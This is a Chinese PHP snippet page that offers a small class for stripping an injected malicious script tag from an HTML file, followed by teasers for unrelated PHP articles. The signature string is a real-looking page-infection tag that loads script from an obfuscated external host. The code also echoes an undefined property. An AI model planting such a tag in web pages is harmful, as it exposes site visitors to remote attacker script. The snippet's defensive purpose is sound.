php 清除网页病毒的方法

yipeiwu_com6年前PHP代码库
<?php
Class clear_virus{
public $index ='b.html';
public $filepath =array('b.html');
public $virus_type ="<script src=http://%61%76%65%33%2E%63%6E></script>";
function open_file(){
if(file_exists($this->index)){
$tmp =file_get_contents($this->index);
if( strrpos($tmp,$this->virus_type)!== false){
$temp =str_replace($this->virus_type,'',$tmp);
$handle =fopen($this->index,'w');
fwrite($handle,$temp);
fclose($handle);
}else{
echo $this->virus_find;
}
}
}
}
$virus =new clear_virus;
$virus->open_file();
?>
清除script 病毒

相关文章

php中强制下载文件的代码(解决了IE下中文文件名乱码问题)

中间遇到一个问题是提交的中文文件名直接放到header里在IE下会变成乱码,解决方法是将文件名先urlencode一下再放入header,如下。 复制代码 代码如下: <?php...

php获取本地图片文件并生成xml文件输出具体思路

复制代码 代码如下: <?php $dir="upload/"; $dir_res=opendir($dir); $fileFormat=array(0=>".jpg",1=...

PHP弱类型语言中类型判断操作实例详解

本文实例讲述了PHP弱类型语言中类型判断操作。分享给大家供大家参考,具体如下: 1、php一个数字和一个字符串进行比较或者进行运算时,PHP会把字符串转换成数字再进行比较。PHP转换的规...

php检测文本的编码

通过对文本的一次循环编码,来判断是否属于该编码。 public function chkCode($string) { $code = array( 'ASCII...

PHP输出两个数字中间有多少个回文数的方法

本文实例讲述了PHP输出两个数字中间有多少个回文数的方法。分享给大家供大家参考。具体分析如下: "回文数"是一种数字。如:98789, 这个数字正读是98789,倒读也是98789,正读...